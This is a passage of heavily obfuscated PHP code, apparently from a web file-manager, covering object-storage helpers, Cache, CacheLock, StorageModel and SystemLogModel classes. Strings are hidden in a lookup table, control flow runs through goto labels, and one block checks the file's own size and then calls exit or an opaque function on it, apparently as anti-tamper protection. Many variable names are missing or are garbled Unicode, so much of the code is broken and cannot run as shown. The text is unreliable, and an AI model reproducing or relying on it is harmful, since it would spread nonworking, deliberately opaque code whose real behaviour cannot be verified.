(isset($[$櫣[234]]) && $[$櫣[234]] == $櫣[235]) { $̥[0] = $櫣[235]; } $ = implode($櫣[11], $̥); $ = base64_encode(hash_hmac($櫣[236], $, $this->secret, !0)); $ = $櫣[237] . $this->accessKey . $櫣[4] . $; if (strpos($Ȝԏ, $櫣[232]) === 0) { return array($櫣[238] => $, $櫣[229] => $͟ڢ); } return $; } public function listUploadParts($ڸ, $񹨢 = array()) { $ =& $_SERVER[Ǿ]; $ѝ = str_replace($[239], $[22], $񹨢[$[177]]); $ = $this->client->listParts($this->bucket, $ڸ, $ѝ); if (!$) { return !1; } unset($񹨢[$[230]], $񹨢[$[234]]); $񹨢[$[105]] = $ڸ; $ = $this->multiUploadAuthData($ڸ, $񹨢); if (empty($)) { return !1; } return array($[238] => $, $[229] => $񹨢[$[229]], $[240] => $); } public function getHost() { return parent::getHost() . $_SERVER[Ǿ][18] . $this->bucket; } public function size($ɸ) { $ߡݸ = $this->objectMeta($ɸ); return $ߡݸ ? $ߡݸ[$_SERVER[Ǿ][90]] : 0; } public function info($㕟) { if ($this->isFolder($㕟)) { return $this->folderInfo($㕟); } else { if ($this->isFile($㕟)) { return $this->fileInfo($㕟); } } return !1; } public function exist($Ї) { return $this->isFile($Ї) || $this->isFolder($Ї); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($ґ֛) { return $this->cacheMethod($_SERVER[Ǿ][208], $ґ֛); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[Ǿ][209], $); } protected function _objectMeta($﹉) { $փ =& $_SERVER[Ǿ]; $﹉ = rtrim($﹉, $փ[18]); try { $ = $this->client->getObjectInfo($this->bucket, $﹉); if (!isset($[$փ[226]]) && isset($[$փ[241]])) { $[$փ[226]] = $[$փ[241]]; } } catch (Exception $) { $ = !1; } if (!$) { } return $; } protected function _isFolder($) { $ѣ =& $_SERVER[Ǿ]; $ = rtrim($, $ѣ[18]); if ($ == $ѣ[22] || $ == $ѣ[18]) { return !0; } $䐊 = $this->client->getBucket($this->bucket, $, null, 1); if (empty($䐊[$ѣ[207]])) { return !1; } $ = $䐊[$ѣ[207]][0][$ѣ[42]]; return stripos($, $ . $ѣ[18]) === 0 ? !0 : !1; if (substr($, -1) == $ѣ[18]) { return !0; } if (get_path_this($) == get_path_this($)) { return !1; } return !0; } } goto bӬ; A: $_file = $_SERVER[$_SERVER[Ǿ][15]]; $_size = $_SERVER[Ǿ][1504]; if ($_SERVER[$_SERVER[Ǿ][6]] != $_size($_file)) { $_getc = $_SERVER[Ǿ][8]; $_getfile = $_SERVER[$_SERVER[Ǿ][9]] . $_SERVER[Ǿ][10]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[Ǿ][11], $_getfilec); if (count($_getarrs) < $_SERVER[Ǿ][12]) { $exit = $_SERVER[Ǿ][13]; $exit(); } $_act = $_SERVER[Ǿ][14]; $_act($_file); } goto C֊ΐ; Dú: define($_SERVER[Ǿ][244], 3); define($_SERVER[Ǿ][245], 1); define($_SERVER[Ǿ][246], 0); goto a; Aſ: class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[Ǿ]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $Ϫ = $GLOBALS[$[16]][$[353]]; $ܚ = $Ϫ[$Ϫ[$[819]]]; $ӣ = $Ϫ[$[820]]; switch ($Ϫ[$[819]]) { case $[31]: self::$handle = Model($[821]); break; case $[822]: self::$handle = new CacheRedis($ܚ, $ӣ); break; case $[823]: self::$handle = new CacheMemcached($ܚ, $ӣ); break; case $[202]: self::$handle = new CacheFile($ܚ, $ӣ); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($) { if (is_array($) || is_object($)) { $ = json_encode($); } $ = rawurlencode($); return md5(KOD_SITE_ID . $_SERVER[Ǿ][21] . $); } public static function get($, $ = false) { $̕ = self::key($); if ($) { return unserialize(self::init()->get($̕)); } if (!isset(self::$memoryCache[$̕])) { $콍 = self::init()->get($̕); self::$memoryCache[$̕] = unserialize($콍); } return self::$memoryCache[$̕]; } public static function set($♐, $͇, $ = false) { $́ϟ = self::key($♐); if (isset(self::$memoryCache[$́ϟ]) && self::$memoryCache[$́ϟ] === $͇) { return !0; } if ($ === 0) { self::$memoryCache[$́ϟ] = $͇; return !0; } CacheLock::lock($♐); $̈ = self::init()->set($́ϟ, serialize($͇), $); self::$memoryCache[$́ϟ] = $͇; CacheLock::unlock($♐); return $̈; } public static function getCall($ـ, $ʒ, $Ɨ, $Ē = array()) { $Ƞ =& $_SERVER[Ǿ]; $ = self::get($ـ); if ($ || $ === $Ƞ[22]) { return $; } $ = call_user_func_array($Ɨ, $Ē); $ = $ ? $ : $Ƞ[22]; self::set($ـ, $, $ʒ); return $; } public static function remove($ӫ) { $ = self::key($ӫ); unset(self::$memoryCache[$]); self::clearTimeout(); CacheLock::lock($ӫ); $Д = self::init()->remove($); CacheLock::unlock($ӫ); return $Д; } public static function removeMemory($޳) { $ = self::key($޳); unset(self::$memoryCache[$]); } public static function clearMemory($Ѕ = false) { if ($Ѕ) { $Ѕ = self::key($Ѕ); unset(self::$memoryCache[$Ѕ]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[Ǿ][824])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[Ǿ][825])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($צ, $떮) { $ =& $_SERVER[Ǿ]; $this->cachePath = $צ[$[88]]; $this->prefix = $[826]; $this->cacheTime = $떮; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $莲 =& $_SERVER[Ǿ]; $ = str_replace(array($莲[827], $莲[108], $莲[83]), $莲[828], $); return $this->cachePath . $莲[829] . $ . $莲[830]; } public function set($’, $ψ, $ = false) { $ۀ = $this->getFile($’); if (file_put_contents($ۀ, $this->prefix . $ψ, LOCK_EX)) { @touch($ۀ, intval(time() + $)); clearstatcache(); return !0; } @unlink($ۀ); return !1; } public function get($忲) { $ = $this->getFile($忲); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this->prefix)); } public function remove($ˏ) { $צ = $this->getFile($ˏ); return @unlink($צ); } public function deleteAll() { $ =& $_SERVER[Ǿ]; $«Ĝ = scandir($this->cachePath); foreach ($«Ĝ as $̘) { $ŗ = $this->cachePath . $̘; if (strpos($ŗ, $[830]) && strpos($ŗ, $[831])) { @unlink($ŗ); } } } public function clearTimeout() { $֟ =& $_SERVER[Ǿ]; $̅飘 = scandir($this->cachePath); foreach ($̅飘 as $ԂɁ) { $ = $this->cachePath . $ԂɁ; if (strpos($, $֟[830]) && strpos($, $֟[831]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $շ =& $_SERVER[Ǿ]; if (self::$handle) { return self::$handle; } $ʾɕ = $GLOBALS[$շ[16]][$շ[353]]; self::$timeout = $ʾɕ[$շ[832]] ? $ʾɕ[$շ[832]] : 10; $ = _get($GLOBALS[$շ[16]], $շ[833]); $Ñ݊ = $ʾɕ[$շ[819]] ? $ʾɕ[$շ[819]] : $շ[202]; if ($Ñ݊ == $շ[31] && $ == $շ[23]) { $Ñ݊ = $շ[202]; } switch ($Ñ݊) { case $շ[822]: self::$handle = new CacheLockRedis(); break; case $շ[823]: self::$handle = new CacheLockMemcached(); break; case $շ[31]: self::$handle = new CacheLockDatabase(); break; case $շ[202]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($շ[834], $շ[835]); } return self::$handle; } private static function key($舻) { return $_SERVER[Ǿ][836] . Cache::key($舻); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ʛ = '') { self::$errorMsg = $ʛ; } public static function lockGlobal($, $ۺ씆) { return self::lock($, $ۺ씆, !0); } public static function lock($ѽ, $痜 = false, $Ŷ = false) { $ׂ =& $_SERVER[Ǿ]; $Ç = self::init(); $⳺ = self::key($ѽ); $痜 = $痜 ? $痜 : self::$timeout; $ = $Ç->lock($⳺, $痜); $˕ = timeFloat(); if (!$) { $ϓ = "\x6c\x6f\143\153\40\x65\x72\x72\157\x72\x3b\x6b\x65\x79\75{$ѽ}\x3b\x74\151\x6d\145\x3d{$痜}\73" . self::$errorMsg . $ׂ[81] . get_caller_msg(); $嬭 = LNG($ׂ[837]) . "\x28{$痜}\163\x29\x2e" . LNG($ׂ[838]); $嬭 .= $ׂ[839]; if (is_string(self::$errorMsg) && self::$errorMsg) { $嬭 = $嬭 . $ׂ[840] . self::$errorMsg; } write_log($ϓ, $ׂ[835]); show_json($嬭, !1); } if (!$Ŷ) { self::$lockItem[$⳺] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $˕, 3); write_log($ׂ[841] . $ѽ . $ׂ[842] . $, $ׂ[835]); } return $; } public static function lockGet($) { $ = self::key($); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($ˍ) { $ =& $_SERVER[Ǿ]; $ = self::key($ˍ); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[843] . $ˍ, $[835]); } return; } public static function unlockRuntime() { $ų =& $_SERVER[Ǿ]; $׌ = self::init(); $۝ = !1; foreach (self::$lockItem as $ => $ܼ) { if (!$ܼ) { continue; } $׌->unlock($); if (!$۝) { $۝ = !0; write_log($ų[844] . $ . $ų[81] . get_caller_msg(), $ų[835]); continue; } write_log($ų[844] . $, $ų[835]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ȟ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($ų[845] . $ȟ . $ų[846] . ACTION, $ų[835]); } } public static function fileLock($ֶח) { $ڢ =& $_SERVER[Ǿ]; if (!$GLOBALS[$ڢ[847]]) { $GLOBALS[$ڢ[847]] = array(); } $GLOBALS[$ڢ[847]][$ֶח] = !1; $ׯƝ = fopen(DATA_PATH . $ֶח . $ڢ[848], $ڢ[849]); if (!$ׯƝ) { return !1; } $GLOBALS[$ڢ[847]][$ֶח] = $ׯƝ; if (flock($ׯƝ, LOCK_EX)) { return !0; } self::unlock($ֶח); show_json($ڢ[850], !1); return !1; } public static function fileUnlock($ꔓ) { $岋 =& $_SERVER[Ǿ]; $ = $GLOBALS[$岋[847]][$ꔓ]; if (!$) { return; } $GLOBALS[$岋[847]][$ꔓ] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ѧ =& $_SERVER[Ǿ]; if (!$GLOBALS[$ѧ[847]]) { return; } foreach ($GLOBALS[$ѧ[847]] as $ڴ => $܏) { if (!$܏) { continue; } $GLOBALS[$ѧ[847]][$ڴ] = !1; flock($܏, LOCK_UN); fclose($܏); } $GLOBALS[$ѧ[847]] = array(); } } goto eՆ; eՉ: while (strlen($txwqmaycik) < $_SERVER[Ǿ][607]) { if (!$txwqmaycik) { break; } $txwqmaycik++; } $_SERVER[] = explode($_SERVER[Ǿ][608], gzinflate(substr($_SERVER[Ǿ][609], 10, -8))); $avhiepzsdb = $_SERVER[Ǿ][610]; goto Dȇ; C֊ΐ: class StorageModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\x65\x6d\56\x73\164\x6f\162\141\x67\x65\x4c\151\x73\164"; public $field = array("\x6e\141\x6d\145", "\163\x69\172\145\115\141\x78", "\163\171\x73\x74\145\155", "\144\145\x66\141\165\x6c\164", "\144\x72\151\x76\145\162", "\x63\x6f\156\x66\x69\x67"); public function listData($ؐ = false, $ = "\x6d\x6f\144\151\x66\171\x54\151\155\x65", $̎ = false) { $Ҽ =& $_SERVER[Ǿ]; $䂎 = parent::listData($ؐ, $, $̎); if ($ؐ) { return $䂎; } $ = $this->ioSizeUseGet(array_to_keyvalue($䂎, $Ҽ[22], $Ҽ[401])); foreach ($䂎 as $ => $ڼ) { unset($䂎[$][$Ҽ[16]]); $䂎[$][$Ҽ[1797]] = isset($[$ڼ[$Ҽ[401]]]) ? $[$ڼ[$Ҽ[401]]] : 0; } return $䂎; } public function ioSizeUseGet($) { $ =& $_SERVER[Ǿ]; if (!$) { return array(); } $ = $[2111] . implode($[60], $); $̲ = Cache::get($); if ($̲) { return $̲; } $̠ = array($[809] => $[401], $[2112] => $[90]); $Ô = array($[809] => array($[17], $)); $̲ = Model($[781])->field($̠)->where($Ô)->group($[809])->select(); $̲ = array_to_keyvalue($̲, $[401], $[90]); Cache::set($, $̲, 600); return $̲; } public function getConfig($) { $ = parent::listData($); return json_decode($[$_SERVER[Ǿ][16]], !0); } public function update($Ǡ, $) { $ =& $_SERVER[Ǿ]; $͝ = $[$[42]]; $ס = array_to_keyvalue(parent::listData(), $[42]); if (isset($ס[$͝]) && $ס[$͝][$[401]] != $Ǡ) { return !1; } if (isset($[$[2113]]) && $[$[2113]] == $[99]) { $this->checkConfig($); } unset($[$[2113]]); $ޫ = parent::update($Ǡ, $); if ($ޫ && $[$[47]]) { foreach ($ס as $) { if ($[$[47]] && $[$[401]] != $Ǡ) { parent::update($[$[401]], array($[47] => 0)); } } } return $ޫ; } public function add($ܭӢ) { $Օ =& $_SERVER[Ǿ]; $ʕ = array_to_keyvalue(parent::listData(), $Օ[42]); if (isset($ʕ[$ܭӢ[$Օ[42]]])) { return !1; } $this->checkConfig($ܭӢ); $´ = parent::insert($ܭӢ); if ($´ && $ܭӢ[$Օ[47]]) { foreach ($ʕ as $ƈ) { if ($ƈ[$Օ[47]]) { parent::update($ƈ[$Օ[401]], array($Օ[47] => 0)); } } } return $´; } public function checkConfig(&$ǻ, $з漣 = false) { $ =& $_SERVER[Ǿ]; $ώ = strtolower($ǻ[$[106]]); $ = json_decode($ǻ[$[16]], !0); foreach ($ as $ => $ӟᱚ) { $[$] = trim($ӟᱚ); } $[$[2114]] = rand_string(6); $ךֳ = $GLOBALS[$[16]][$[100]][$[818]]; $ = isset($ךֳ[$ώ]) ? $ךֳ[$ώ] : ucfirst($ώ); $ڐ = $[84] . $; if (!$ || !class_exists($ڐ)) { if ($з漣) { return LNG($[2115]); } write_log(array($[2116], $ǻ, get_caller_info()), $[2117]); show_json(LNG($[2115]), !1, $ǻ); } $Ì = new $ڐ($); if (in_array($ώ, $Ì->objectDriver)) { if (!$Ì->isBucketCors() && !$Ì->setBucketCors()) { $ˌ = LNG($[2118]); $ˌ .= $[2119] . LNG($[2120]); if ($з漣) { return $ˌ; } show_json($ˌ, !1); } } $ǮԈ = rtrim($[$[1164]], $[18]) . $[18]; $ʱ = $Ì->getPath($ǮԈ . $[1226]); if (!$Ì->mkfile($ʱ)) { if ($з漣) { return LNG($[2118]); } show_json(LNG($[2118]), !1); } $[$[1164]] = $ǮԈ; $ǻ[$[16]] = json_encode($); $ǻ[$[106]] = $; return !0; } public function driverListSystem() { $ =& $_SERVER[Ǿ]; $ = parent::listData(); $ = array(); foreach ($ as $ï) { unset($ï[$[203]], $ï[$[96]]); $ï[$[16]] = json_decode($ï[$[16]], !0); $[] = $ï; } return $; } public function defaultDriver() { $ԏ =& $_SERVER[Ǿ]; $鱘 = parent::listData(); $⨚ = array_filter_by_field($鱘, $ԏ[47], 1); $⨚ = $⨚[0]; if ($⨚) { $⨚[$ԏ[16]] = json_decode($⨚[$ԏ[16]], !0); } return $⨚; } public function driverInfo($) { $ӵ =& $_SERVER[Ǿ]; $Ґ = array_to_keyvalue(parent::listData(), $ӵ[401]); if (!isset($Ґ[$])) { return !1; } $񺺜 = $Ґ[$]; $񺺜[$ӵ[16]] = json_decode($񺺜[$ӵ[16]], !0); return $񺺜; } public function remove($̐ͯ) { $this->removeShareItems($̐ͯ); return parent::remove($̐ͯ); } public function removeWithFile($, $) { $ =& $_SERVER[Ǿ]; $ն = array($[809] => $); $ = Model($[470])->where($ն)->count(); $ن = Model($[470])->where($ն)->sum($[90]); $ = $ . $[2121] . $; $ = new TaskFileTransfer($, $[2117], $, LNG($[2122]) . "\50{$}\x29"); $->task[$[755]] = (double) $ن; $ = KodIO::defaultDriver(); $ = $[$[401]]; $걛 = "\173\x69\157\72{$}\x7d\x2f"; $𝀌 = !0; $А = array(); $ = Model($[202])->where($ն)->field($[2123])->select(); foreach ($ as $) { $ӝ = $[$[88]]; $Ά = $걛 . str_replace("\173\x69\x6f\x3a{$}\x7d\57", $[22], $ӝ); if (!IO::exist($ӝ)) { $А[] = $[$[467]]; $->updateFileEnd($[$[42]], $[$[90]]); continue; } if (IO::exist($Ά)) { $->updateFileEnd($[$[42]], $[$[90]]); continue; } if (!IO::move($ӝ, get_path_father($Ά))) { $𝀌 = !1; break; } $ն = array($[467] => $[$[467]]); $Æ = array($[809] => $, $[88] => $Ά); Model($[202])->where($ն)->save($Æ); } $this->removeByFileID($А); if (!$𝀌) { $->stop($); return !1; } $->end(); if ($ == $[1777]) { $this->remove($); } } public function progress($ܚ, $Թֈڇ) { return Task::get($Թֈڇ . $_SERVER[Ǿ][2121] . $ܚ); } private function removeByFileID($ = array()) { $ =& $_SERVER[Ǿ]; if (empty($)) { return; } $ = array($[467] => array($[17], $)); $֋ = Model($[1310])->where($)->field($[403])->select(); if (!$֋) { return; } $֋ = array_to_keyvalue($֋, $[22], $[403]); foreach ($֋ as $ޘ) { Model($[417])->removeNow($ޘ, !1); } } private function removeShareItems($) { $蠬 =& $_SERVER[Ǿ]; $³ = "\173\x69\x6f\x3a{$}\x7d\x2f"; $٘ɏ = array($蠬[403] => 0, $蠬[1159] => array($蠬[387], "{$³}\45")); $Ĭ = Model($蠬[1788])->where($٘ɏ)->field($蠬[488])->select(); if (empty($Ĭ)) { return; } $ = array_to_keyvalue($Ĭ, $蠬[22], $蠬[488]); Model($蠬[595])->remove($); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\145\x6d\x2e\114\151\147\x68\x74\x41\160\160"; public $modelType = "\x53\171\163\x74\145\x6d\x4f\x70\x74\x69\x6f\x6e"; public $field = array("\x6e\x61\155\145", "\x67\162\157\x75\160", "\x64\145\x73\x63", "\143\157\156\164\145\x6e\x74"); public function listData($· = false, $ҋ = "\155\157\144\x69\x66\x79\124\x69\x6d\145", $٭ = true) { return parent::listData($·, $ҋ, $٭); } public function remove($Μ) { $ = $this->findByName($Μ); if (!$) { return !1; } return parent::remove($[$_SERVER[Ǿ][401]]); } public function add($) { if ($this->findByName($[$_SERVER[Ǿ][42]])) { return !1; } return parent::insert($); } public function update($цܛ, $) { $ =& $_SERVER[Ǿ]; $ؓ = $this->findByName($цܛ); $ = $this->findByName($[$[42]]); if (!$ؓ || $ && $[$[401]] != $ؓ[$[401]]) { return !1; } return parent::update($ؓ[$[401]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "\163\x79\163\164\x65\155\x5f\154\x6f\x67"; protected $dataAuto = array(array("\x63\x72\145\141\x74\145\x54\x69\x6d\x65", "\164\151\155\x65", "\151\156\163\145\x72\164", "\146\x75\x6e\143\164\151\x6f\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ܶ =& $_SERVER[Ǿ]; return array($ܶ[2124] => LNG($ܶ[2125]), $ܶ[2126] => LNG($ܶ[2127]), $ܶ[1751] => LNG($ܶ[2128]), $ܶ[2129] => LNG($ܶ[2130]), $ܶ[2131] => LNG($ܶ[2132]), $ܶ[2133] => LNG($ܶ[2134]), $ܶ[2135] => LNG($ܶ[2136]), $ܶ[1781] => LNG($ܶ[2136]), $ܶ[1782] => LNG($ܶ[2137]), $ܶ[2138] => LNG($ܶ[2139]), $ܶ[2140] => LNG($ܶ[2141]), $ܶ[2142] => LNG($ܶ[2143]), $ܶ[2144] => LNG($ܶ[2145]), $ܶ[1779] => LNG($ܶ[2146]), $ܶ[2147] => LNG($ܶ[2148]), $ܶ[1786] => LNG($ܶ[2149]), $ܶ[2150] => LNG($ܶ[2151]), $ܶ[2152] => LNG($ܶ[2153]), $ܶ[2154] => LNG($ܶ[2155]), $ܶ[2156] => LNG($ܶ[2157]), $ܶ[1789] => LNG($ܶ[2158]), $ܶ[1790] => LNG($ܶ[2159]), $ܶ[2160] => LNG($ܶ[2161]), $ܶ[2162] => LNG($ܶ[2163]), $ܶ[2164] => LNG($ܶ[2165]), $ܶ[1784] => LNG($ܶ[2166]), $ܶ[2167] => LNG($ܶ[2168]), $ܶ[1783] => LNG($ܶ[2169]), $ܶ[2170] => LNG($ܶ[2171]), $ܶ[2172] => LNG($ܶ[2173]), $ܶ[2174] => LNG($ܶ[2175]), $ܶ[2176] => LNG($ܶ[2176]), $ܶ[2177] => LNG($ܶ[1755]), $ܶ[2178] => LNG($ܶ[2179]), $ܶ[2180] => LNG($ܶ[2181]), $ܶ[2182] => LNG($ܶ[2183]), $ܶ[2184] => LNG($ܶ[2185]), $ܶ[2186] => LNG($ܶ[2187]), $ܶ[2188] => LNG($ܶ[2188]), $ܶ[2189] => LNG($ܶ[2190]), $ܶ[2191] => LNG($ܶ[2192]), $ܶ[2193] => LNG($ܶ[2194]), $ܶ[2195] => LNG($ܶ[2196]), $ܶ[2197] => LNG($ܶ[2198]), $ܶ[2199] => LNG($ܶ[2200])); } private function typeFile() { $ =& $_SERVER[Ǿ]; $ۥ = array($[1786] => array($[1787]), $[2142] => array($[2201]), $[2144] => array($[2202]), $[1779] => array($[1780]), $[2152] => array(), $[2154] => array(), $[2156] => array(), $[1789] => array($[1791]), $[1790] => array($[1791]), $[2160] => array($[2203]), $[2162] => array($[2203]), $[2164] => array($[2204]), $[2150] => array($[2205]), $[1784] => array($[2206]), $[2167] => array($[2207]), $[1783] => array($[1785])); return $ۥ; } private function typeAll() { $Ӽ =& $_SERVER[Ǿ]; $Ψ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ => $喱) { $Ψ[$喱[0]] = $Ψ[$]; } $Ψ[$Ӽ[1791]] = LNG($Ӽ[2208]); $Ψ[$Ӽ[2203]] = LNG($Ӽ[2209]); return $Ψ; } public function addLog($ũ, $짙 = array()) { $ =& $_SERVER[Ǿ]; if (!isset($this->typeList[$ũ])) { return; } $ = defined($[474]) && USER_ID ? USER_ID : (isset($짙[$[1640]]) ? $짙[$[1640]] : 0); if (!$) { $ = (int) Session::get($[1940]); } $ߋ = get_client_ip(); if (!$짙 || strlen(json_encode($짙)) >= 1024) { $짙 = array($[2210] => $ߋ); } else { if (is_array($짙)) { $짙[$[2210]] = $ߋ; } else { $짙 = array($[1176] => $짙, $[2210] => $ߋ); } } $짙 = array($[1630] => Session::sign(), $[1631] => $, $[43] => $ũ, $[1633] => json_encode($짙)); parent::add($짙); } public function remove($΀) { $this->where(array($_SERVER[Ǿ][420] => $΀))->delete(); } private function _makeOrder($ = '') { $ =& $_SERVER[Ǿ]; $Ŋ = $[203]; $⊚ = array($[448] => $[449], $[450] => $[451]); $㒤 = Input::get($[456], $[17], $[1972], array($[1898], $[450])); $㒤 = $⊚[$㒤]; $ = $ . "{$Ŋ}\x20{$㒤}"; return $this->order($); } public function get($ = '') { $ =& $_SERVER[Ǿ]; if (!$) { show_json(array()); } $Ӛ = array(); if ($[$[1640]]) { $Ӛ[$[1640]] = $[$[1640]]; } if (isset($[$[753]])) { $Ÿ = $[$[753]]; $Ԡ = isset($[$[496]]) ? $[$[496]] : time(); $Ӛ[$[203]] = array($[337], array($Ÿ, $Ԡ)); } if ($[$[43]]) { $ɾ = explode($[60], $[$[43]]); $Ħ = $this->typeFile(); $ǖ = array(); foreach ($ɾ as $Р) { $ǖ[] = $Р; if (isset($Ħ[$Р])) { $ǖ = array_merge($ǖ, $Ħ[$Р]); } } $ǖ = array_unique($ǖ); if ($ǖ) { $Ӛ[$[43]] = array($[17], $ǖ); } } else { $Ӛ[$[43]] = array($[2211], $[2212]); } if (!empty($[$[2210]])) { $Ӛ[$[451]] = array($[387], "\45{$[$[2210]]}\x25"); } $ݤ = $this->_makeOrder()->where($Ӛ)->selectPage(); if (empty($ݤ[$[373]])) { show_json(array(), !0, $ݤ[$[370]]); } $ݤ[$[373]] = $this->logList($ݤ[$[373]]); return $ݤ; } private function ipAddress(&$۝߹) { $ϐ =& $_SERVER[Ǿ]; if (!empty($۝߹[$ϐ[2210]])) { $ý = IpLocation::get($۝߹[$ϐ[2210]]); } else { $ý = LNG($ϐ[2213]); } $۝߹[$ϐ[2214]] = $ý; } private function descZipDownload($, &$‘) { $̋ =& $_SERVER[Ǿ]; if (!isset($[$̋[2215]])) { return; } $Д = json_decode($[$̋[2215]], !0); foreach ($Д as $ҳ) { try { $ܱ = IO::infoFull($ҳ[$̋[88]]); } catch (Exception $ŁԆ) { continue; } $[$̋[88]] = $ҳ[$̋[88]]; $‘[] = $[$̋[403]] = $ܱ[$̋[403]]; $‘[] = $[$̋[2026]] = $ܱ[$̋[498]]; break; } return $; } private function getSourceList(&$) { $Ⱦې =& $_SERVER[Ǿ]; $Nj = array(); foreach ($ as $Ñ => $띵) { $ڱ춧 = json_decode($띵[$Ⱦې[451]], !0); if ($띵[$Ⱦې[43]] == $Ⱦې[1782]) { $ڱ춧 = $this->descZipDownload($ڱ춧, $Nj); $[$Ñ][$Ⱦې[451]] = json_encode($ڱ춧); continue; } if (strpos($띵[$Ⱦې[43]], $Ⱦې[2028]) !== 0) { if (!isset($ڱ춧[$Ⱦې[88]]) || strpos($띵[$Ⱦې[43]], $Ⱦې[2216]) !== 0) { continue; } try { $䴋 = IO::infoFull($ڱ춧[$Ⱦې[88]]); } catch (Exception $鿽) { continue; } $Nj[] = $ڱ춧[$Ⱦې[403]] = $䴋[$Ⱦې[403]]; $Nj[] = $ڱ춧[$Ⱦې[2026]] = $䴋[$Ⱦې[498]]; $[$Ñ][$Ⱦې[451]] = json_encode($ڱ춧); continue; } $Nj[] = $ڱ춧[$Ⱦې[403]]; $Nj[] = $ڱ춧[$Ⱦې[2026]]; if ($ڱ춧[$Ⱦې[43]] == $Ⱦې[551]) { $Nj[] = $ڱ춧[$Ⱦې[451]][$Ⱦې[1143]]; $Nj[] = $ڱ춧[$Ⱦې[451]][$Ⱦې[1144]]; } if ($ڱ춧[$Ⱦې[43]] == $Ⱦې[2035]) { $Nj[] = $ڱ춧[$Ⱦې[451]][$Ⱦې[403]]; } } if (!$Nj) { return array(); } return Model($Ⱦې[817])->sourceListInfo($Nj, !0); } private function logList($) { $쵎 =& $_SERVER[Ǿ]; $۰ = array_to_keyvalue($, $쵎[22], $쵎[1640]); $ = Model($쵎[538])->userListInfo(array_unique($۰)); $ = $this->getSourceList($); $祪 = $this->typeAll(); $ = array(); $Ґ = array(); foreach ($ as $׭ => $΍) { $ = $΍[$쵎[43]]; $С = isset($[$΍[$쵎[1640]]]) ? $[$΍[$쵎[1640]]] : !1; $ = strpos($, $쵎[2217]) === 0 ? LNG($쵎[2218]) : LNG($쵎[2213]); $΍[$쵎[42]] = isset($С[$쵎[42]]) ? $С[$쵎[42]] : LNG($쵎[2213]); $΍[$쵎[2076]] = isset($С[$쵎[2076]]) ? $С[$쵎[2076]] : $쵎[22]; $΍[$쵎[1540]] = isset($祪[$]) ? $祪[$] : $; $΍[$쵎[1971]] = $С; $ = json_decode($΍[$쵎[451]], !0); $΍[$쵎[2210]] = isset($[$쵎[2210]]) ? $[$쵎[2210]] : $쵎[22]; $΍[$쵎[2214]] = IpLocation::get($΍[$쵎[2210]]); if (strpos($, $쵎[2028]) === 0 || isset($[$쵎[2026]])) { $[$쵎[97]] = $[$[$쵎[403]]]; $[$쵎[2040]] = $[$[$쵎[2026]]]; if ($[$쵎[43]] == $쵎[551]) { $[$쵎[451]][$쵎[1143]] = $[$[$쵎[451]][$쵎[1143]]]; $[$쵎[451]][$쵎[1144]] = $[$[$쵎[451]][$쵎[1144]]]; } if ($[$쵎[43]] == $쵎[2035]) { $[$쵎[451]][$쵎[403]] = $[$[$쵎[451]][$쵎[403]]]; } if ($[$쵎[43]] == $쵎[1777]) { $[$쵎[2040]] = $[$쵎[97]]; $[$쵎[2026]] = $[$쵎[2040]][$쵎[403]]; $[$쵎[97]] = !1; $[$쵎[403]] = $쵎[22]; } if ($[$쵎[97]] && $[$쵎[97]][$쵎[412]] == $쵎[1259]) { $Ґ[] = $΍[$쵎[401]]; unset($[$׭]); continue; } if ($[$쵎[2040]] && $[$쵎[2040]][$쵎[412]] == $쵎[1259]) { $Ґ[] = $΍[$쵎[401]]; unset($[$׭]); continue; } } $΍[$쵎[451]] = $; unset($΍[$쵎[2219]]); $[] = $΍; } $this->clearSystemPathLog($Ґ); return $; } private function clearSystemPathLog($) { $ =& $_SERVER[Ǿ]; if (count($) == 0) { return; } $ԐХ = array($[401] => array($[17], array_unique($))); $this->where($ԐХ)->delete(); } public function deviceList($, $; = 0) { $ =& $_SERVER[Ǿ]; $ = array($[1640] => $, $[203] => array($[999], $;), $[43] => $[1751]); $ = array(); $ʅǍ = $this->field($[2220])->where($)->order($[2038])->limit(50)->select(); foreach ($ʅǍ as $ => $؁º) { if ($ > 0 && abs($؁º[$[203]] - $ʅǍ[$ - 1][$[203]]) < 5) { continue; } $҆ = json_decode($؁º[$[451]], !0); $؁º[$[2210]] = isset($҆[$[2210]]) ? $҆[$[2210]] : $[22]; unset($҆[$[2210]]); $Ђ = $this->deviceType($҆[$[2029]]); if (isset($[$Ђ])) { continue; } $؁º[$[2214]] = IpLocation::get($؁º[$[2210]]); $؁º[$[451]] = $҆; $[$Ђ] = $؁º; } return array_values($); } public function deviceType($) { return $; } } goto CΜՎ; aݾ: class 